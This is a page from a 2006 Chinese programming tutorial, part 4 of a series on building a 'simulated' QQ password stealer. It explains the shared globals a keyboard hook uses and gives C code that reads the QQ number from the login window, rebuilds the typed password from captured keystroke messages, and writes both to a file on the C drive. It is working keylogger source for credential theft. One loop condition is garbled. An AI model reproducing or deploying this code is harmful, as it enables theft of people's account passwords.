WEB开发网
开发学院软件开发VC 盗QQ的密码软件模拟实现 阅读

盗QQ的密码软件模拟实现

 2006-07-20 11:40:42 来源:WEB开发网   
核心提示: 第一个:QQ号的子窗口句柄 g_hNum第二个:QQ密码的子窗口句柄 g_hPsw //此部分暂时不使用,下面第三个:存键盘按键的 pmsg上面三变量分别出现在第二部分和第三部分,盗QQ的密码软件模拟实现(4),都是全局共享(shared)变量QQ密码的子窗口句柄 g_hPsw 此部分暂时

第一个:QQ号的子窗口句柄 g_hNum

第二个:QQ密码的子窗口句柄 g_hPsw //此部分暂时不使用,下面

第三个:存键盘按键的 pmsg

上面三变量分别出现在第二部分和第三部分,都是全局共享(shared)变量

QQ密码的子窗口句柄 g_hPsw 此部分暂时不使用,你可以看到下面代码中有句用到g_hPsw的语句是我注释掉了的,原因是无法通过那样去得到QQ密码,得处理按键消息

void GetPasswrod()
{
    //声明变量和初始化
  HANDLE f;
  TCHAR num[13];
  TCHAR psw[21];
  TCHAR total[50];
  int j;
  memset(num,0,sizeof(num));
  memset(total,0,sizeof(total));
  memset(psw,0,sizeof(psw));
  
  DWORD dw;
    //得到QQ号的内容,以为有的人的QQ号是在登陆框有记录,其QQ号并是用键盘输入的
  GetWindowText(g_hNum,(LPSTR)num,sizeof(num));
  //GetWindowText(g_hPsw,(LPSTR)psw,sizeof(psw)); //此句不使用,无法这样获得密码
    //提取出键盘记录,此内容也许全是密码,也许是QQ号+QQ密码
  for(j=0;j 20;j++)
  {
    psw[j]=(TCHAR)pmsg[j*2].wParam ;
  }
  psw[j+1]='\0';
    //把QQ号码和QQ密码写入C盘password.txt中
  f = CreateFile("c:\\password.txt",
      GENERIC_WRITE,
      FILE_SHARE_WRITE,
      NULL,
      OPEN_ALWAYS,
      FILE_ATTRIBUTE_NORMAL,
      NULL);
  
  strcat(total,"号码");
  strcat(total,num);
  strcat(total,"密码:");
  strcat(total,psw);
  WriteFile(f,&total,sizeof(total),&dw,NULL);
    CloseHandle(f);
}
最后在C盘password.txt也许会出现这样两种情况:

上一页  1 2 3 4 5  下一页

Tags:QQ 密码 软件

编辑录入:爽爽 [复制链接] [打 印]
赞助商链接